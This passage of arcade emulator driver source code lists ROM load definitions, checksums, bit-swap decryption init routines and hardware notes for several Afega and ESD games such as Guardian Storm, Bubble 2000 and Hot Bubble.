SHA1(a6c43dd57b752d87138d7125b47dc0df83df8987) ) // mask ROM (read as 27C160) ROM_REGION( 0x10000, "fgtile", 0 ) // Layer 1, 8x8x4 ROM_LOAD( "afega1.u4", 0x00000, 0x10000, CRC(9e7ef086) SHA1(db086bb2ceb11f3e24548aa131cc74fe79a2b516) ) ROM_REGION( 0x40000, "oki1", 0 ) // Samples ROM_LOAD( "afega1.u95", 0x00000, 0x40000, CRC(e911ce33) SHA1(a29c4dea98a22235122303325c63c15fadd3431d) ) ROM_END void afega_state::init_grdnstrmg() { decryptcode( machine(), 23, 22, 21, 20, 19, 18, 13, 16, 15, 14, 17, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 ); } ROM_START( grdnstrmg ) // Germany ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "gs5_c1.uc1", 0x000001, 0x040000, CRC(c0263e4a) SHA1(8cae60bd59730aaba215f825016a780eced3a12d) ) ROM_LOAD16_BYTE( "gs6_c2.uc9", 0x000000, 0x040000, CRC(ea363e4d) SHA1(2958dcddc409a11006beb52485975689182f3677) ) ROM_REGION( 0x10000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "gs1_s1.uc14", 0x00000, 0x10000, CRC(5d8cf28e) SHA1(2a440bf5136f95af137b6688e566a14e65be94b1) ) // ROM_REGION( 0x200000, "sprites", 0 ) // Sprites, 16x16x4 ROM_LOAD16_BYTE( "gs8_br3.uc10", 0x000001, 0x080000, CRC(7b42a57a) SHA1(f45d9d86bc0388bbf220633e59f7a749c42e9046) ) ROM_LOAD16_BYTE( "gs7_br1.uc3", 0x000000, 0x080000, CRC(e6794265) SHA1(39a6ebf2377aaf3a10b4c9c51607d81599eec35d) ) ROM_LOAD16_BYTE( "gs10_br4.uc11",0x100001, 0x080000, CRC(1d3b57e1) SHA1(a2da598d6cbe257de5b66905a5ad9de90711ccc7) ) ROM_LOAD16_BYTE( "gs9_br2.uc4", 0x100000, 0x080000, CRC(4d2c220b) SHA1(066067f7e80973ba0483559ac04f99292cc82dce) ) // some other sets have larger regions here because they contain 2 sets of tiles in the ROMs, one for each orientation. // this set only contains the tile data for the required orientation. ROM_REGION( 0x200000, "bgtile", 0 ) // Layer 0, 16x16x8 ROM_LOAD( "gs10_cr5.uc15", 0x000000, 0x080000, CRC(2c8c23e3) SHA1(4c1a460dfc250f9aea77e2ddd82278ee816365be) ) ROM_LOAD( "gs4_cr7.uc19", 0x080000, 0x080000, CRC(c3f6c908) SHA1(37873e28ca337d97ce301a4f79668fad8e6fca66) ) ROM_LOAD( "gs8_cr1.uc6", 0x100000, 0x080000, CRC(dc0125f0) SHA1(f215b53378ec0366b1dc1614f19a67288ff7a865) ) ROM_LOAD( "gs9_cr3.uc12", 0x180000, 0x080000, CRC(d8a0636b) SHA1(d278a4a19e6573e5aa02486a9b68b2e147b7b292) ) ROM_REGION( 0x10000, "fgtile", 0 ) // Layer 1, 8x8x4 ROM_LOAD( "gs3_t1.uc2", 0x00000, 0x10000, CRC(88c423ef) SHA1(44e000f38312a1775a1207fd553eac1fe0f5e089) ) ROM_REGION( 0x40000, "oki1", 0 ) // Samples ROM_LOAD( "gs2_s2.uc18", 0x00000, 0x40000, CRC(e911ce33) SHA1(a29c4dea98a22235122303325c63c15fadd3431d) ) // ROM_END void afega_state::init_grdnstrmau() { decryptcode( machine(), 23, 22, 21, 20, 19, 18, 13, 16, 14, 15, 17, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 ); } ROM_START( grdnstrmau ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "uc9_27c020.10", 0x000000, 0x040000, CRC(548932b4) SHA1(c90c7e769235d12b07b24deac436202c650cf3e8) ) ROM_LOAD16_BYTE( "uc1_27c020.9", 0x000001, 0x040000, CRC(269e2fbc) SHA1(17c3511a44f044927c23f2e5bb8e75c29e3fbcc2) ) ROM_REGION( 0x10000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "uc14_27c512.8", 0x00000, 0x10000, CRC(5d8cf28e) SHA1(2a440bf5136f95af137b6688e566a14e65be94b1) ) ROM_REGION( 0x200000, "sprites", 0 ) // Sprites, 16x16x4 ROM_LOAD16_BYTE( "uc3_27c040.8", 0x000000, 0x80000, CRC(9fc36932) SHA1(bc1617b1c4452114171b0d4fc4478346e8db4e00) ) ROM_LOAD16_BYTE( "uc10_27c040.9", 0x000001, 0x80000, CRC(6e809d09) SHA1(c884b387a30930df7cd60b9bd80431577de9f356) ) ROM_LOAD16_BYTE( "uc4_27c040.10", 0x100000, 0x80000, CRC(73bd6451) SHA1(a620d115f9c1b33f2c37a5263d6e53255af87cfb) ) ROM_LOAD16_BYTE( "uc11_27c040.8", 0x100001, 0x80000, CRC(e699a3c9) SHA1(db9337581a8231c72c8dd5e05b0a35121c3a1552) ) ROM_REGION( 0x200000, "bgtile", 0 ) // Layer 0, 16x16x8 ROM_LOAD( "uc15_27c040.10", 0x000000, 0x80000, CRC(0822f7e0) SHA1(b6ce51bbeeea021d4f8678e35df4e14166bd4d8b) ) ROM_LOAD( "uc19_27c040.8", 0x080000, 0x80000, CRC(fa078e35) SHA1(e65175cc5a5e7214068b3f4686e37b872396424d) ) ROM_LOAD( "uc6_27c040.9", 0x100000, 0x80000, CRC(ec288b95) SHA1(59e3728ce553d1af81bd023700669345b114c8e3) ) ROM_LOAD( "uc12_27c040.10", 0x180000, 0x80000, CRC(a9ceec33) SHA1(d4f76f7a8203755fe756a9e17100f830db34eaab) ) ROM_REGION( 0x10000, "fgtile", 0 ) // Layer 1, 8x8x4 ROM_LOAD( "uc2_27c512.9", 0x00000, 0x10000, CRC(b38d8446) SHA1(b2c8efb3db71b7428fcadc0d7098f8bc77dd6670) ) ROM_REGION( 0x40000, "oki1", 0 ) // Samples ROM_LOAD( "uc18_27c020.9", 0x00000, 0x40000, CRC(e911ce33) SHA1(a29c4dea98a22235122303325c63c15fadd3431d) ) ROM_END // 紅狐戰機 II (Hóng Hú Zhànjī II) ROM_START( redfoxwp2 ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "u112", 0x000000, 0x040000, CRC(3f31600b) SHA1(6c56e36178effb60ec27dfcd205393e2cfac4ed6) ) // No label ROM_LOAD16_BYTE( "u107", 0x000001, 0x040000, CRC(daa44ab4) SHA1(7edaf8c7383dd31250478aeebc3247c525c75fef) ) // No label ROM_REGION( 0x10000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "u92", 0x00000, 0x10000, CRC(864b55c2) SHA1(43475b05e35549ad301c3d4a25d4f4f0bcbe3f2c) ) // Winbond W27E512-12 with no label ROM_REGION( 0x200000, "sprites", 0 ) // Sprites, 16x16x4 ROM_LOAD( "afega_af1-sp.uc13", 0x000000, 0x200000, CRC(7d4d4985) SHA1(15c6c1aecd3f12050c1db2376f929f1a26a1d1cf) ) // mask ROM (read as 27C160) ROM_REGION( 0x400000, "bgtile", 0 ) // Layer 0, 16x16x8 ROM_LOAD( "afega_af1-b2.uc8", 0x000000, 0x200000, CRC(d68588c2) SHA1(c5f397d74a6ecfd2e375082f82e37c5a330fba62) ) // mask ROM (read as 27C160) ROM_LOAD( "afega_af1-b1.uc3", 0x200000, 0x200000, CRC(f8b200a8) SHA1(a6c43dd57b752d87138d7125b47dc0df83df8987) ) // mask ROM (read as 27C160) ROM_REGION( 0x10000, "fgtile", 0 ) // Layer 1, 8x8x4 ROM_LOAD( "u4", 0x00000, 0x10000, CRC(19239401) SHA1(7876335dd97418bd9130dc894a517f3ceca20135) ) // Winbond W27E512-12 with no label ROM_REGION( 0x40000, "oki1", 0 ) // Samples ROM_LOAD( "afega1.u95", 0x00000, 0x40000, CRC(e911ce33) SHA1(a29c4dea98a22235122303325c63c15fadd3431d) ) ROM_END void afega_state::init_redfoxwp2a() { decryptcode( machine(), 23, 22, 21, 20, 19, 18, 16, 17, 13, 14, 15, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 ); } // 紅狐戰機 II (Hóng Hú Zhànjī II) ROM_START( redfoxwp2a ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "afega_4.u112", 0x000000, 0x040000, CRC(e6e6682a) SHA1(1a70ca3881b4ecc6d329814ff1fdafce16550ca2) ) ROM_LOAD16_BYTE( "afega_5.u107", 0x000001, 0x040000, CRC(2faa2ed6) SHA1(c6ca3ca0cff85379007a44648c6de87864095c2e) ) ROM_REGION( 0x10000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "afega_1.u92", 0x00000, 0x10000, CRC(5d8cf28e) SHA1(2a440bf5136f95af137b6688e566a14e65be94b1) ) ROM_REGION( 0x200000, "sprites", 0 ) // Sprites, 16x16x4 // not dumped, it is correct? ROM_LOAD( "afega_af1-sp.uc13", 0x000000, 0x200000, CRC(7d4d4985) SHA1(15c6c1aecd3f12050c1db2376f929f1a26a1d1cf) ) ROM_REGION( 0x400000, "bgtile", 0 ) // Layer 0, 16x16x8 // not dumped, it is correct? ROM_LOAD( "afega_af1-b2.uc8", 0x000000, 0x200000, CRC(d68588c2) SHA1(c5f397d74a6ecfd2e375082f82e37c5a330fba62) ) ROM_LOAD( "afega_af1-b1.uc3", 0x200000, 0x200000, CRC(f8b200a8) SHA1(a6c43dd57b752d87138d7125b47dc0df83df8987) ) ROM_REGION( 0x10000, "fgtile", ROMREGION_ERASEFF ) // Layer 1, 8x8x4 ROM_LOAD( "afega_3.u4", 0x000000, 0x10000, CRC(64608687) SHA1(c13e55429171653437c8e8c7c8e9c6c5ffa2d2dc) ) ROM_REGION( 0x40000, "oki1", 0 ) // Samples ROM_LOAD( "afega_2.u95", 0x00000, 0x40000, CRC(e911ce33) SHA1(a29c4dea98a22235122303325c63c15fadd3431d) ) ROM_END /*************************************************************************** Pop's Pop's by Afega (1999) The pcb might be missing an EPROM in a socket --- i just think it uses a generic PCB but no sprites in this case,. 1x 68k 1x z80 1x Ad65 (oki 6295) 1x OSC 12mhz (near 68k) 1x OSC 4mhz (near z80) 1x ym2151 1x Afega AF1-CFLK custom chip Smt 1x Afega AF1-CF5K custom chip socketed 2x dipswitch banks ****************************************************************************/ ROM_START( popspops ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "afega4.u112", 0x000000, 0x040000, CRC(db191762) SHA1(901fdc20374473127d694513d4291e29e65eafe8) ) ROM_LOAD16_BYTE( "afega5.u107", 0x000001, 0x040000, CRC(17e0c48b) SHA1(833c61c4b3ee293b0bcddfa86dfa9c1014375115) ) ROM_REGION( 0x10000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "afega1.u92", 0x00000, 0x10000, CRC(5d8cf28e) SHA1(2a440bf5136f95af137b6688e566a14e65be94b1) ) ROM_REGION( 0x400000, "sprites", ROMREGION_ERASEFF ) // Sprites, 16x16x4 // no sprite ROMs? ROM_REGION( 0x400000, "bgtile", 0 ) // Layer 0, 16x16x8 ROM_LOAD( "afega6.uc8", 0x000000, 0x200000, CRC(6d506c97) SHA1(4909c0b530f9526c8bf76e502c914ef10a50d1fc) ) ROM_LOAD( "afega7.uc3", 0x200000, 0x200000, CRC(02d7f9de) SHA1(10102ffbf37a57afa300b01cb5067b7e672f4999) ) ROM_REGION( 0x10000, "fgtile", 0 ) // Layer 1, 8x8x4 ROM_LOAD( "afega3.u4", 0x00000, 0x10000, CRC(f39dd5d2) SHA1(80d05d57a621b0063f63ce05be9314f718b3c111) ) ROM_REGION( 0x40000, "oki1", 0 ) // Samples ROM_LOAD( "afega2.u95", 0x00000, 0x40000, CRC(ecd8eeac) SHA1(849beba8f04cc322bb8435fa4c26551a6d0dec64) ) ROM_END /**************************************************************************** Mang-chi by Afega 1x osc 4mhz 1x osc 12mhz 1x tmp68hc0000p-10 1x z80c006 1x AD65 (MSM6295) 1x CY5001 (YM2151 rebadged) 2x dipswitch 1x fpga 1x smd ASIC not marked Dumped by Corrado Tomaselli ****************************************************************************/ ROM_START( mangchi ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "afega9.u112", 0x00000, 0x40000, CRC(0b1517a5) SHA1(50e307641759bb2a35aff56ef9598364740803a0) ) ROM_LOAD16_BYTE( "afega10.u107", 0x00001, 0x40000, CRC(b1d0f33d) SHA1(68b5be3f7911f7299566c5bf5801e90099433613) ) ROM_REGION( 0x10000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "sound.u92", 0x00000, 0x10000, CRC(bec4f9aa) SHA1(18fb2ee06892983c117a62b70cd72a98f60a08b6) ) ROM_REGION( 0x080000, "sprites", 0 ) // Sprites, 16x16x4 ROM_LOAD16_BYTE( "afega6.uc11", 0x000000, 0x040000, CRC(979efc30) SHA1(227fe1e20137253aac04585d2bbf67091d032e56) ) ROM_LOAD16_BYTE( "afega7.uc14", 0x000001, 0x040000, CRC(c5cbcc38) SHA1(86070a9598e80f90ec7892d623e1a975ccc68178) ) ROM_REGION( 0x100000, "bgtile", 0 ) // Layer 0, 16x16x8 ROM_LOAD( "afega5.uc6", 0x000000, 0x80000, CRC(c73261e0) SHA1(0bb66aa315aaecb26169812cf47a6504a74f0db5) ) ROM_LOAD( "afega4.uc1", 0x080000, 0x80000, CRC(73940917) SHA1(070305c81de959c9d00b6cf1cc20bbafa204976a) ) ROM_REGION( 0x100000, "fgtile", ROMREGION_ERASEFF ) // Layer 1, 8x8x4 ROM_REGION( 0x40000, "oki1", 0 ) // Samples ROM_LOAD( "afega2.u95", 0x00000, 0x40000, CRC(78c8c1f9) SHA1(eee0d03164a0ac0ddc5186ab56090320e9d33aa7) ) ROM_END /*************************************************************************** Bubble 2000 (c)1998 Tuning Bubble 2000 Tuning, 1998 CPU : TMP68HC000P-10 (68000) SOUND : Z840006 (Z80, 44 pin QFP), YM2151, OKI M6295 OSC : 4.000MHZ, 12.000MHz DIPSW : 8 position (x2) RAM : 6116 (x5, gfx related?) 6116 (x1, sound program ram), 6116 (x1, near ROM 3) 64256 (x4, gfx related?), 62256 (x2, main program ram), 6264 (x2, gfx related?) PALs/PROMs: None Custom: Unknown 208 pin QFP labelled LTC2 (Graphics generator) Unknown 68 pin PLCC labelled LTC1 (?, near ROM 2 and ROM 3) ROMs : Filename Type Possible Use ---------------------------------------------- rom01.92 27C512 Sound Program rom02.95 27C020 Oki Samples rom03.4 27C512 ? (located near ROM 1 and 2 and near LTC1) rom04.1 27C040 \ rom05.3 27C040 | rom06.6 27C040 | rom07.9 27C040 | Gfx rom08.11 27C040 | rom09.14 27C040 | rom12.2 27C040 | rom13.7 27C040 / rom10.112 27C040 \ Main Program rom11.107 27C040 / ************************************* bubl2000a program ROMs where labeled: B-2000 N B-2000 N U107 U112 V1.2 V1.2 The PCB had a genuine Tuning stick with 11 & 98 struck out for month and year ***************************************************************************/ void afega_state::init_bubl2000() { decryptcode( machine(), 23, 22, 21, 20, 19, 18, 13, 14, 15, 16, 17, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 ); } ROM_START( bubl2000 ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "rom10.112", 0x00000, 0x20000, CRC(87f960d7) SHA1(d22fe1740217ac20963bd9003245850598ccecf2) ) // Has dipswitch control for Demo Sounds ROM_LOAD16_BYTE( "rom11.107", 0x00001, 0x20000, CRC(b386041a) SHA1(cac36e22a39b5be0c5cd54dce5c912ff811edb28) ) ROM_REGION( 0x10000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "rom01.92", 0x00000, 0x10000, CRC(5d8cf28e) SHA1(2a440bf5136f95af137b6688e566a14e65be94b1) ) // same as the other games on this driver ROM_REGION( 0x080000, "sprites", 0 ) // Sprites, 16x16x4 ROM_LOAD16_BYTE( "rom08.11", 0x000000, 0x040000, CRC(519dfd82) SHA1(116b06f6e7b283a5417338f716bbaab6cfadb41d) ) ROM_LOAD16_BYTE( "rom09.14", 0x000001, 0x040000, CRC(04fcb5c6) SHA1(7594fa6bf98fc01b8848473a222a621c7c9ff00d) ) ROM_REGION( 0x300000, "bgtile", 0 ) // Layer 0, 16x16x8 ROM_LOAD( "rom06.6", 0x000000, 0x080000, CRC(ac1aabf5) SHA1(abce6ba381b189ab3ec703a8ef74bccbe10876e0) ) ROM_LOAD( "rom07.9", 0x080000, 0x080000, CRC(69aff769) SHA1(89b98c1023710861e622c8a186b6ec48f5109d42) ) ROM_LOAD( "rom13.7", 0x100000, 0x080000, CRC(3a5b7226) SHA1(1127740c5bc2f830d73a77c8831e1b0db6606375) ) ROM_LOAD( "rom04.1", 0x180000, 0x080000, CRC(46acd054) SHA1(1bd7a1b6b2ce6a3daa8c92843c546beb377af8fb) ) ROM_LOAD( "rom05.3", 0x200000, 0x080000, CRC(37deb6a1) SHA1(3a8a3d961800bb15fd389429b92fa1e5b5f416df) ) ROM_LOAD( "rom12.2", 0x280000, 0x080000, CRC(1fdc59dd) SHA1(d38e21c878241b4315a36e0590397211ca63f2c4) ) ROM_REGION( 0x10000, "fgtile", 0 ) // Layer 1, 8x8x4 ROM_LOAD( "rom03.4", 0x00000, 0x10000, CRC(f4c15588) SHA1(a21ae71c0a8c7c1df63f9905fd86303bc2d3991c) ) ROM_REGION( 0x40000, "oki1", 0 ) // Samples ROM_LOAD( "rom02.95", 0x00000, 0x40000, CRC(859a86e5) SHA1(7b51964227411a40aac54b9cd9ff64f091bdf2b0) ) ROM_END ROM_START( bubl2000a ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "b-2000_n_v1.2.112", 0x00000, 0x20000, CRC(da28624b) SHA1(01447f32bd4d3588ec5458cb9996d49808883e1c) ) // Has no Demo Sounds?? Earlier version?? ROM_LOAD16_BYTE( "b-2000_n_v1.2.107", 0x00001, 0x20000, CRC(c766c1fb) SHA1(54b54021d05a3b41afe954bc3763e809a5eb3b55) ) // Tuning sticker shows production was 11/98 ROM_REGION( 0x10000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "rom01.92", 0x00000, 0x10000, CRC(5d8cf28e) SHA1(2a440bf5136f95af137b6688e566a14e65be94b1) ) // same as the other games on this driver ROM_REGION( 0x080000, "sprites", 0 ) // Sprites, 16x16x4 ROM_LOAD16_BYTE( "rom08.11", 0x000000, 0x040000, CRC(519dfd82) SHA1(116b06f6e7b283a5417338f716bbaab6cfadb41d) ) ROM_LOAD16_BYTE( "rom09.14", 0x000001, 0x040000, CRC(04fcb5c6) SHA1(7594fa6bf98fc01b8848473a222a621c7c9ff00d) ) ROM_REGION( 0x300000, "bgtile", 0 ) // Layer 0, 16x16x8 ROM_LOAD( "rom06.6", 0x000000, 0x080000, CRC(ac1aabf5) SHA1(abce6ba381b189ab3ec703a8ef74bccbe10876e0) ) ROM_LOAD( "rom07.9", 0x080000, 0x080000, CRC(69aff769) SHA1(89b98c1023710861e622c8a186b6ec48f5109d42) ) ROM_LOAD( "rom13.7", 0x100000, 0x080000, CRC(3a5b7226) SHA1(1127740c5bc2f830d73a77c8831e1b0db6606375) ) ROM_LOAD( "rom04.1", 0x180000, 0x080000, CRC(46acd054) SHA1(1bd7a1b6b2ce6a3daa8c92843c546beb377af8fb) ) ROM_LOAD( "rom05.3", 0x200000, 0x080000, CRC(37deb6a1) SHA1(3a8a3d961800bb15fd389429b92fa1e5b5f416df) ) ROM_LOAD( "rom12.2", 0x280000, 0x080000, CRC(1fdc59dd) SHA1(d38e21c878241b4315a36e0590397211ca63f2c4) ) ROM_REGION( 0x10000, "fgtile", 0 ) // Layer 1, 8x8x4 ROM_LOAD( "rom03.4", 0x00000, 0x10000, CRC(f4c15588) SHA1(a21ae71c0a8c7c1df63f9905fd86303bc2d3991c) ) ROM_REGION( 0x40000, "oki1", 0 ) // Samples ROM_LOAD( "rom02.95", 0x00000, 0x40000, CRC(859a86e5) SHA1(7b51964227411a40aac54b9cd9ff64f091bdf2b0) ) ROM_END /*************************************************************************** Hot Bubble Afega, 1998 PCB Layout ---------- Bottom Board |------------------------------------------| | BS902 BS901 Z80 4MHz | | | | 6116 6295 | | 62256 | | 6116 62256 | | 6116 | |J 6116 |------------| | |A 6116 | 68000 | | |M |------------| | |M DSW2 6264 | |A 6264 | | | | |-------| | | | | | | | | | | DSW1 | | 62256 62256 | | |-------| | | 6116 62256 62256 | |12MHz 6116 | |------------------------------------------| Notes: 68000 - running at 12.000MHz Z80 - running at 4.000MHz 62256 - 32K x8 SRAM 6264 - 8K x8 SRAM 6116 - 2K x8 SRAM BS901 - YM2151, running at 4.000MHz BS902 - YM3012 6295 - OKI MSM6295 running at 1.000MHz [4/4], sample rate = 1000000 / 132 * - Unknown QFP208 VSync - 56.2Hz (measured on 68000 IPL1) Top Board |---------------------------| | | | S1 S2 T1 | | | | CR5 CR7 C1 | | | | CR6 +CR8 C2 | | | | BR1 BR3 | | | | +BR2 +BR4 | | | | CR1 CR3 |------| | | | * | | | CR2 +CR4 | | | | |------| | |---------------------------| Notes: * - Unknown PLCC68 IC + - Not populated NOTE: The hotbubl set is also known to use double sized EPROMs with the identical halves: Program data on a 27C020 EPROM: ROM @ C1 with a CRC32 of 0x7bb240e9 ROM @ C2 with a CRC32 of 0x7917b95d Sprite data on a 27C040 EPROM: ROM @ BR1 with a CRC32 of 0x6fc18de4 ROM @ BR3 with a CRC32 of 0xbb677240 All EPROMs had identical AFEGA 8, AFEGA 9 or AFEGA 10 labels, so each was named as found and are distinguished by PCB / IC locations. The hotbubla set also has program data with identical halves. While not confirmed, there may be a PCB out there using the smaller 27C010's for the program data. IE: ROM @ C1 with a CRC32 of 0x41c3edbc and 0x20000 bytes in length ROM @ C2 with a CRC32 of 0xf59aea4a and 0x20000 bytes in length It was not uncommon for manufacturers to use whatever size EPROMs were readily available and either double the data or padded the empty space with a fill byte. ***************************************************************************/ ROM_START( hotbubl ) // Korean release - Nude images of women for backgrounds ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "afega8.c1.uc1", 0x00001, 0x20000, CRC(d1e72a31) SHA1(abe9113c1dd31fc1a6fc0f479b42e629650ecb1c) ) ROM_LOAD16_BYTE( "afega9.c2.uc9", 0x00000, 0x20000, CRC(4537c6d9) SHA1(0b6ea74311389dc592615f0073629d07500cc2c4) ) ROM_REGION( 0x10000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "afega8.s1.uc14", 0x00000, 0x10000, CRC(5d8cf28e) SHA1(2a440bf5136f95af137b6688e566a14e65be94b1) ) // same as the other games on this driver ROM_REGION( 0x80000, "sprites", 0 ) // Sprites, 16x16x4 ROM_LOAD16_BYTE( "afega10.br1.uc3", 0x000000, 0x040000, CRC(7e132eff) SHA1(f3ec5750c73017f0a2eb87f6f39ab49e59d39711) ) ROM_LOAD16_BYTE( "afega8.br3.uc10", 0x000001, 0x040000, CRC(22707728) SHA1(8a27aa2d1b6f902276c02bd7098526243661cff8) ) ROM_REGION( 0x300000, "bgtile", 0 ) // Layer 0, 16x16x8 ROM_LOAD( "afega9.cr6.uc16", 0x100000, 0x080000, CRC(99d6523c) SHA1(0b628585d749e175d5a4dc600af1ba9cb936bfeb) ) ROM_LOAD( "afega10.cr7.uc19", 0x080000, 0x080000, CRC(a89d9ce4) SHA1(5965b2b4b67bc91bc0e7474e593c7e1953b75adc) ) ROM_LOAD( "afega10.cr5.uc15", 0x000000, 0x080000, CRC(65bd5159) SHA1(627ccc0ab131e643c3c52ee9bb41c7a85153c35e) ) ROM_LOAD( "afega9.cr2.uc7", 0x280000, 0x080000, CRC(27ad6fc8) SHA1(00b1a5c5e1a245590b300b9baf71585d41813e3e) ) ROM_LOAD( "afega9.cr3.uc12", 0x200000, 0x080000, CRC(c841a4f6) SHA1(9b0ee5623c87a0cfc63d3741a65d399bd6593f18) ) ROM_LOAD( "afega8.cr1.uc6", 0x180000, 0x080000, CRC(fc9101d2) SHA1(1d5b8484264b6d73fe032946096a469226cce901) ) ROM_REGION( 0x10000, "fgtile", 0 ) // Layer 1, 8x8x4 ROM_LOAD( "afega9.t1.uc2", 0x00000, 0x10000, CRC(ce683a93) SHA1(aeee2671051f1badf2255375cd7c5fa847d1746c) ) ROM_REGION( 0x40000, "oki1", 0 ) // Samples ROM_LOAD( "afega8.s2.uc18", 0x00000, 0x40000, CRC(401c980f) SHA1(e47710c47cfeecce3ccf87f845b219a9c9f21ee3) ) ROM_END ROM_START( hotbubla ) // Korean release - Nude images replaced with pictures of satellite dishes ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "6_c1.uc1", 0x00001, 0x40000, CRC(7c65bf47) SHA1(fe578d3336c5f437bfd1bc81bfe3763b12f3e63f) ) // 1st and 2nd half identical ROM_LOAD16_BYTE( "7_c2.uc9", 0x00000, 0x40000, CRC(74eb11c3) SHA1(88aeb02c4088706a56b4c930ffe6fdfbc99031c6) ) // 1st and 2nd half identical ROM_REGION( 0x10000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "1_s1.uc14", 0x00000, 0x10000, CRC(5d8cf28e) SHA1(2a440bf5136f95af137b6688e566a14e65be94b1) ) // same as the other games on this driver ROM_REGION( 0x100000, "sprites", 0 ) // Sprites, 16x16x4 ROM_LOAD16_BYTE( "8_br1.uc3", 0x000000, 0x040000, CRC(7e132eff) SHA1(f3ec5750c73017f0a2eb87f6f39ab49e59d39711) ) ROM_LOAD16_BYTE( "9_br3.uc10", 0x000001, 0x040000, CRC(22707728) SHA1(8a27aa2d1b6f902276c02bd7098526243661cff8) ) ROM_REGION( 0x300000, "bgtile", 0 ) // Layer 0, 16x16x8 ROM_LOAD( "5_cr6.uc16", 0x100000, 0x080000, CRC(324429c5) SHA1(8cf90abf32697b269d4ec03b5b20bf4046fa53aa) ) ROM_LOAD( "5_cr7.uc19", 0x080000, 0x080000, CRC(d293f1d0) SHA1(33c40c67bda477a2112cca4bfe9661edbcdf7689) ) ROM_LOAD( "2_cr5.uc15", 0x000000, 0x080000, CRC(dd7e92de) SHA1(954f18887ac7737abce363985255a747c0de1fa2) ) ROM_LOAD( "9_cr2.uc7", 0x280000, 0x080000, CRC(c5516087) SHA1(ae3692ecd7cd96b5d3653afb4c3a3b8f5931cbad) ) ROM_LOAD( "10_cr3.uc12", 0x200000, 0x080000, CRC(312c38d8) SHA1(1e706b3e8b381083575ef4a01c615408940d5d0f) ) ROM_LOAD( "8_cr1.uc6", 0x180000, 0x080000, CRC(7e2840b4) SHA1(333bf5631ee033ce528348d26888854eb1b063a0) ) ROM_REGION( 0x10000, "fgtile", 0 ) // Layer 1, 8x8x4 ROM_LOAD( "2_t1.uc2", 0x00000, 0x10000, CRC(ce683a93) SHA1(aeee2671051f1badf2255375cd7c5fa847d1746c) ) ROM_REGION( 0x40000, "oki1", 0 ) // Samples ROM_LOAD( "1_s2.uc18", 0x00000, 0x40000, CRC(401c980f) SHA1(e47710c47cfeecce3ccf87f845b219a9c9f21ee3) ) ROM_END ROM_START( dolmen ) // Original source of the caveman concept for Bubble 2000 / Hot Bubble, much earlier and completely different hardware ROM_REGION( 0x40000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "afega8.uj3", 0x00000, 0x20000, CRC(f1b73e4c) SHA1(fe5bbd1e91d1a81744c373effbd96adbbc896133) ) ROM_LOAD16_BYTE( "afega7.uj2", 0x00001, 0x20000, CRC(c91bda0b) SHA1(8c09e3020e72e8ab2ca3a3dad708d64f9bf75a4f) ) ROM_REGION( 0x8000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "afega1.su6", 0x0000, 0x8000, CRC(166b53cb) SHA1(44864d1518205bdc445dc95e5825924f73d334b2) ) // 1111xxxxxxxxxxx = 0x00 ROM_REGION( 0x100000, "sprites", 0 ) // Sprites, 16x16x4 ROM_LOAD16_BYTE( "afega4.ub11", 0x00000, 0x80000, CRC(5a259393) SHA1(62c41ef4f398295d5cc1122c64487e12c4226ede) ) ROM_LOAD16_BYTE( "afega5.ub13", 0x00001, 0x80000, CRC(7f6a683d) SHA1(ab7026906b68aa9f4d75b0e56564216727decfde) ) ROM_REGION( 0x80000, "bgtile", 0 ) // Layer 0, 16x16x8 ROM_LOAD( "afega9.ui20", 0x00000, 0x80000, CRC(b3fa7be6) SHA1(7ef8d902bd954960fbae727aae02dce9750f740e) ) ROM_REGION( 0x20000, "fgtile", 0 ) // Layer 1, 8x8x4 ROM_LOAD( "afega6.uj11", 0x00000, 0x20000, CRC(13fa4415) SHA1(193524ebccbaae6b8c00893c42399c38cafdbd79) ) ROM_REGION( 0x80000, "oki1", 0 ) // Samples ROM_LOAD( "afega2.su12", 0x000000, 0x20000, CRC(1a2ce1c2) SHA1(ae6991fbfe57d35f32b541367d3b31244456713e) ) ROM_RELOAD( 0x020000, 0x20000 ) ROM_LOAD( "afega3.su13", 0x040000, 0x40000, CRC(d3531018) SHA1(940067a8634339258666c89319cb0e1b43f2af56) ) ROM_END /*************************************************************************** Fire Hawk - ESD, 2001 --------------------- - To enter test mode, hold on button 1 at boot up PCB Layout ---------- ESD-PROT-002 |------------------------------------------------| | FHAWK_S1.U40 FHAWK_S2.U36 | | 6116 6295 FHAWK_S3.U41 | | 6295 FHAWK_G1.UC6| | PAL Z80 FHAWK_G2.UC5| | 4MHz |--------| | | | ACTEL | | |J 6116 62256 |A54SX16A| | |A 6116 62256 | | | |M |(QFP208)| | |M |--------| | |A DSW1 FHAWK_G3.UC2 | | DSW2 |--------| | | DSW3 | ACTEL | | | 6116 |A54SX16A| | | 6116 | | | | 62256 |(QFP208)| | | FHAWK_P1.U59 |--------| | | FHAWK_P2.U60 PAL 62256 